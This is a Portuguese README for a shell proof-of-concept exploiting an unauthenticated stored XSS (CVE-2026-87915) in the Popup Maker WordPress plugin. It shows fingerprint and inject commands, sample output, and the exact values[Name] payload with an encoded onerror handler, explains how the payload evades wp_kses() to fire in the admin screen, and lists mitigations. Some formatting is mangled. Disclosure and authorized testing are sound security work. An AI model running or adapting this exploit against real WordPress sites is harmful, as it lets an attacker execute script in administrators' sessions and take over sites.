PoC em Shell para CVE-2026-87915, um XSS armazenado não autenticado no plugin Popup Maker para WordPress (<=1.24.0). Identifica o plugin e demonstra a injeção de payload.
| Componente | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (plugin WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting Armazenado |
| Afetado | <= 1.24.0 |
| Corrigido | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Um formulário público de optin/newsletter do Popup Maker aceita o parâmetro values[Name] sem
sanitização (action=pum_sub_form). O valor é armazenado no servidor e posteriormente renderizado na
tela de administração Subscribers. A filtragem wp_kses() aplicada na saída é insuficiente neste
contexto: entidades HTML dentro de valores de atributos permitidos sobrevivem à normalização e são avaliadas
pelo sink DOM jQuery( link.attr('href') ) em wp-admin/js/common.js quando um administrador clica
em uma âncora de aba de ajuda contextual. Efeito líquido: XSS armazenado não autenticado contra um administrador
(um clique necessário no lado do administrador).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject usa um e-mail de teste exclusivo por padrão e imprime as etapas de limpeza (interface de administração ou
DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, laboratório)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (minúsculo) é o campo normal; o values[Name] com maiúsculas mistas colide durante
a normalização de chaves de array do PHP e carrega o payload adiante.wp_kses() permite o elemento <a href>; o `` codificado como entidade dentro do
atributo sobrevive à filtragem e é decodificado/normalizado posteriormente.wp-admin/js/common.js avalia jQuery( link.attr('href') ), que analisa o HTML decodificado
e dispara o handler onerror.esc_html() + sanitize_text_field() no
valor armazenado; consulte o changeset do fornecedor para classes/Admin/Subscribers/Table.php).values[Name] no nível do WAF.Apenas para testes de segurança autorizados. check é somente leitura; inject cria exatamente uma linha de
assinante de teste — exclua-a depois com o comando de limpeza impresso.